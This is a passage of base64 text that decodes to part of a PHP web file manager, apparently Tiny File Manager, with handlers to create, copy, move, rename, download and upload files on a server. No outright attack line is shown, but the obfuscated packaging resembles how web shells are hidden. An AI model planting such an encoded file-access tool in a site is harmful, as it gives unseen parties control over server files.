nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9P